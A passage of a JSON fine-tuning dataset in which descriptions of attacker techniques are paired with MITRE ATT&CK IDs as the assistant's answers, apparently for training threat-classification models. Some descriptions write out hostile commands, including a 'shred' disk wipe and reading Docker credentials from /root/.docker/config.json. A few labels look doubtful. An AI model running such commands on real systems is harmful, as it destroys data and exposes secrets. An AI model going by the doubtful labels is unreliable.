            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise script enumerates domain trusts through the Get-ADTrust PowerShell cmdlet."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the attacker registers a systemd timer to trigger a privilege‑escalation exploit nightly."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator downloads an open‑source packet sniffer to capture network traffic for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker sets up a cloud service account with admin rights in the target's Azure subscription."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators physically remove the TPM module from laptops to force reliance on weaker software encryption."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the firewall configuration to drop all outbound traffic except to a malicious server's IP address."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributes a malicious link via a fake HR announcement email, directing users to a fake portal that captures their authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the victim's internal directory to discover employee job titles and department assignments."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor installs a rogue SIP (Software Integrity Provider) DLL that replaces the legitimate trust provider, allowing unsigned code to be executed without detection."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor deploys a compromised pam_ssh.so module via a rootkit, allowing them to bypass two-factor authentication on SSH logins."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in the Service Control Manager API, the attacker can dynamically register a temporary service that runs arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a credential dumping tool to harvest service account passwords, then updates the Azure AD Connect password sync settings to inject altered credentials into the hybrid login flow."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker includes code that attempts to read the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation\\SystemManufacturer for virtualization indicators."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker discovers that the container runtime's remote API allows exec commands, and uses it to cat /root/.docker/config.json, exposing Docker Hub credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the UEFI firmware to embed a rootkit that runs during the system boot process."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages WMI to query remote system information from multiple Windows hosts."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits SMB to query shared folders on other machines via \"smbclient -L\" to discover remote systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates data by first copying it from the local machine to a staging directory."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised the SQL Server service on the network and deployed a backdoor stored as an extended stored procedure."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a software update mechanism of a popular application, delivering a malicious payload through a compromised update server."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script opens a persistent backdoor on port 23 (Telnet) while the target expects HTTP on port 80."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software scans Discord chats for saved credentials and copies them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts saved credentials from a browser's password manager and leverages them to access cloud management consoles."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a ping sweep combined with service banner grabbing to identify database servers running on port 1433."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Confluence search function, the adversary filtered for files containing 'password' and downloaded them."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exploits a vulnerable router to mirror traffic and analyze payloads."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a supply chain compromise, the attacker distributes a package that disables modern encryption standards, forcing a downgrade to weaker protocols."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages public certificate search engines to gather information about the target's public-facing web servers."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the compromise team placed a malicious script named \"update.bat \" (space at the end) which Windows treats as \"update.bat\" and masks its true purpose."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries install a local proxy on a compromised server and route internal network traffic through it to hide their C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan scanned for Thunderbird's global-messages-db.sqlite file and exfiltrated its contents."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors add a malicious user to the Google Cloud IAM to gain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors invoke mshta.exe to parse a crafted .xml file that triggers execution of a Windows Script Host payload."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the RC startup script to launch a reverse shell during the boot process."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware harvests plaintext passwords from .env files stored in the application directory on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors schedule a container orchestration job in OpenShift to launch a data exfiltration script nightly."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After breaching the system, the attacker harvested chat transcripts from Mattermost, looking for password and token disclosures."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a certificate authority to issue fraudulent digital certificates for their malware."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged regsvcs.exe to register a malicious .NET assembly for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors obtain login credentials for a popular social media platform to disseminate phishing links."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the system's UEFI BIOS with a malicious version that loads their payload before the operating system starts."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware is delivered as a .c file and the victim's system compiles it into an executable during execution."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit leverages OLE Automation via COM interfaces to send messages between compromised processes."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder conducts a Bing search for the company name combined with ‘login’ to locate exposed administrative portals."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary forces the victim's application to generate cryptographic keys with only 512 bits instead of the recommended 2048 bits, effectively reducing the key space."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accessed the target's SNMP agent and extracted the full MIB hierarchy to reconstruct device configs."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows API LsaEnumerateLogonSessions to pull cached domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses Nmap scanning with -sn to ping sweep the network for active hosts."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a shell command \"shred -v -n 3 -z /dev/sdc\" to overwrite the entire second disk three times."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the PubPrn driver to launch a PowerShell backdoor, evading detection by masquerading as a printer process."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program issues a secure erase of the disk's logical block addressing info, wiping the disk's structure."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a library flaw to downgrade the encryption algorithm to RC4, which has a smaller key space."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor disables the host-based firewall by editing the registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document executes \"Get-WmiObject -Class Win32_ComputerSystem\" to gather information about neighboring systems via WMI queries."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group used manual mapping to inject a custom DLL into a security software process to bypass detection."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the system, the intruder removes entries from the command history database used by the macOS Terminal app."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell module calls `Get-ADGroup -Filter * -SearchBase 'CN=Users,DC=example,DC=com'` and also falls back to local group enumeration."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting into LSASS, the malware redirects calls to the CredRead API to capture stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a malicious shortcut (LNK) file that exploits a local privilege escalation flaw to execute a payload on the client’s system."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers configure a malicious reverse proxy on a compromised host outside the victim network to forward inbound C2 connections."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware uses dynamic resolution to locate the encryption key server by querying a known domain."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group accesses container orchestration metadata service to enumerate node resources."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the IMAP IDLE command, the attacker maintains persistent communication with a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a rootkit, the attacker disables process kill commands, causing the malicious service to ignore interrupts."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors run automated queries against the organization’s internal document management system to retrieve financial reports."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor creates a symmetric encrypted tunnel using a shared secret and tunnels all its traffic through a standard port to evade network filters."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise the trusted third‑party software update service used by an enterprise, replacing legitimate patches with malware."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware accesses the Windows Credential Vault to retrieve saved service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries craft custom packets that follow the format of legitimate SNMP messages to hide data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised Identity Provider, the threat actor generates counterfeit SAML tokens to access protected resources."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the dsniff suite, the attacker conducts ARP spoofing to become a transparent proxy for all traffic."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised printer sends HTTP POST requests to a remote server with base64‑encoded instructions for the infection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses string obfuscation, splitting command strings across multiple lines and joining them at execution time."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages compromised Salesforce API keys to invoke remote Apex code that connects back to a command server."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts the environment variable %USERNAME% to discover the logged‑on user name."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker writes a batch file that iterates over files with 'for %%F in (*) do' to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
